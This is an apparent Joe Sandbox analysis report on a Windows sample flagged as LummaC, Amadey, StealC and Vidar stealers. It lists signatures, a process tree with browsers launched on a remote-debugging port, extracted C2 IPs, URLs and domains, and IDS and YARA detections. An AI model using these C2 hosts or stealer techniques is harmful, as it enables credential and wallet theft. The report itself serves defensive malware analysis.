Edit tour

Windows Analysis Report
V65xPrgEHH.exe

Overview

General Information

Sample name:	V65xPrgEHH.exe renamed because original name is a hash value
Original sample name:	cd0ac63bd2ece29fe4ab3ae30df60d15.exe
Analysis ID:	1576598
MD5:	cd0ac63bd2ece29fe4ab3ae30df60d15
SHA1:	a9e3659ed1d331406a9bd7826b334df47b7a39e1
SHA256:	6b37c5347754c31bd9aa8b946410b71da1b74a777480839b378d748cfbce2210
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

Monitors registry run keys for changes

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

V65xPrgEHH.exe (PID: 7284 cmdline: "C:\Users\user\Desktop\V65xPrgEHH.exe" MD5: CD0AC63BD2ECE29FE4AB3AE30DF60D15)

KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe (PID: 1908 cmdline: "C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe" MD5: 658970FA0BE64B36B89CABF358BA6993)

5XYR1IZSU740RQ8S.exe (PID: 5588 cmdline: "C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe" MD5: BF86F8D222211B376DD5C074CC460BED)

chrome.exe (PID: 7988 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7868 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2224,i,14232946858736540846,14705278479212829889,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 728 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 1048 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2344 --field-trial-handle=2240,i,8471859797131499959,491410908596195355,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 1176 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\GIEHIDHJDB.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

GIEHIDHJDB.exe (PID: 6724 cmdline: "C:\Users\user\Documents\GIEHIDHJDB.exe" MD5: 8A6DF8D3BAB93A45ABFEC4947C817B93)

skotes.exe (PID: 7932 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 8A6DF8D3BAB93A45ABFEC4947C817B93)

msedge.exe (PID: 1060 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7372 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2016,i,11248231860674350639,8152344142954779347,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 8116 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 8A6DF8D3BAB93A45ABFEC4947C817B93)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["rapeflowwj.lat", "crosshuaht.lat", "energyaffai.lat", "sustainskelet.lat", "aspecteirs.lat", "grannyejh.lat", "discokeyus.lat", "necklacebudi.lat", "sweepyribs.lat"], "Build id": "PsFKDg--pablo"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000019.00000002.3195233598.0000000000241000.00000040.00000001.01000000.00000012.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2324658098.0000000001175000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2337813480.0000000001176000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.3124768469.00000000012BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2293685890.0000000001125000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2370020157.0000000001176000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2324412969.0000000001125000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2293899082.0000000001178000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000002.3225063713.0000000000241000.00000040.00000001.01000000.00000012.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000002.3121894220.0000000000804000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2293784143.000000000113E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000003.3120637248.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000003.2511850219.00000000050B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000002.3124768469.0000000001332000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000003.3184885863.0000000005170000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000003.3154964868.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000002.3161003714.00000000000C1000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000002.3121894220.0000000000731000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: V65xPrgEHH.exe PID: 7284	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: V65xPrgEHH.exe PID: 7284	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 5XYR1IZSU740RQ8S.exe PID: 5588	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 5XYR1IZSU740RQ8S.exe PID: 5588	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 5XYR1IZSU740RQ8S.exe PID: 5588	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 5XYR1IZSU740RQ8S.exe PID: 5588	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 19 entries

Unpacked PEs

Source	Rule	Description	Author
24.2.GIEHIDHJDB.exe.c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
26.2.skotes.exe.240000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
25.2.skotes.exe.240000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe", ParentImage: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe, ParentProcessId: 5588, ParentProcessName: 5XYR1IZSU740RQ8S.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 7988, ProcessName: chrome.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T10:08:25.309514+0100	2028371	3	Unknown Traffic	192.168.2.6	49716	104.21.2.110	443	TCP
2024-12-17T10:08:27.983711+0100	2028371	3	Unknown Traffic	192.168.2.6	49720	104.21.2.110	443	TCP
2024-12-17T10:08:30.327088+0100	2028371	3	Unknown Traffic	192.168.2.6	49726	104.21.2.110	443	TCP
2024-12-17T10:08:32.728248+0100	2028371	3	Unknown Traffic	192.168.2.6	49737	104.21.2.110	443	TCP
2024-12-17T10:08:35.458764+0100	2028371	3	Unknown Traffic	192.168.2.6	49750	104.21.2.110	443	TCP
2024-12-17T10:08:38.531162+0100	2028371	3	Unknown Traffic	192.168.2.6	49757	104.21.2.110	443	TCP
2024-12-17T10:08:43.040654+0100	2028371	3	Unknown Traffic	192.168.2.6	49768	104.21.2.110	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T10:08:24.071051+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49714	104.21.2.110	443	TCP
2024-12-17T10:08:26.247463+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49716	104.21.2.110	443	TCP
2024-12-17T10:08:44.599454+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49768	104.21.2.110	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T10:08:24.071051+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49714	104.21.2.110	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T10:08:26.247463+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49716	104.21.2.110	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T10:08:46.063798+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	49774	185.215.113.16	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T10:09:01.877106+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49812	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T10:09:01.755305+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49812	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T10:09:02.196631+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49812	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T10:09:03.814017+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49812	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T10:09:02.318339+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49812	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T10:08:28.821276+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49720	104.21.2.110	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T10:09:01.161077+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49812	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T10:09:04.988703+0100	2803304	3	Unknown Traffic	192.168.2.6	49812	185.215.113.206	80	TCP
2024-12-17T10:09:32.778957+0100	2803304	3	Unknown Traffic	192.168.2.6	49908	185.215.113.206	80	TCP
2024-12-17T10:09:34.838160+0100	2803304	3	Unknown Traffic	192.168.2.6	49908	185.215.113.206	80	TCP
2024-12-17T10:09:36.064150+0100	2803304	3	Unknown Traffic	192.168.2.6	49908	185.215.113.206	80	TCP
2024-12-17T10:09:37.154641+0100	2803304	3	Unknown Traffic	192.168.2.6	49908	185.215.113.206	80	TCP
2024-12-17T10:09:40.616821+0100	2803304	3	Unknown Traffic	192.168.2.6	49908	185.215.113.206	80	TCP
2024-12-17T10:09:41.907752+0100	2803304	3	Unknown Traffic	192.168.2.6	49908	185.215.113.206	80	TCP
2024-12-17T10:09:48.689944+0100	2803304	3	Unknown Traffic	192.168.2.6	49951	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: V65xPrgEHH.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dllh)	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php%-j	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phprefox	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllL)	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000019.00000002.3195233598.0000000000241000.00000040.00000001.01000000.00000012.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: V65xPrgEHH.exe.7284.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["rapeflowwj.lat", "crosshuaht.lat", "energyaffai.lat", "sustainskelet.lat", "aspecteirs.lat", "grannyejh.lat", "discokeyus.lat", "necklacebudi.lat", "sweepyribs.lat"], "Build id": "PsFKDg--pablo"}
Source: 5XYR1IZSU740RQ8S.exe.5588.13.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.16/#6

Virustotal: Detection: 21%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: V65xPrgEHH.exe	Virustotal: Detection: 54%			Perma Link
Source: V65xPrgEHH.exe	ReversingLabs: Detection: 52%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: V65xPrgEHH.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9EA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	13_2_6C9EA9A0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9E44C0 PK11_PubEncrypt,	13_2_6C9E44C0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9B4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	13_2_6C9B4420
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9E4440 PK11_PrivDecrypt,	13_2_6C9E4440
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA325B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	13_2_6CA325B0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9CE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	13_2_6C9CE6E0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9EA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	13_2_6C9EA650
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9C8670 PK11_ExportEncryptedPrivKeyInfo,	13_2_6C9C8670
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA0A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	13_2_6CA0A730
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA10180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	13_2_6CA10180
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9E43B0 PK11_PubEncryptPKCS1,PR_SetError,	13_2_6C9E43B0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA07C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	13_2_6CA07C00
